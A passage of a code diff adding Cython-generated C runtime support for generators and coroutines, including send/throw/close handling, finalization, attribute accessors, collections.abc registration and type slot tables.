Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, 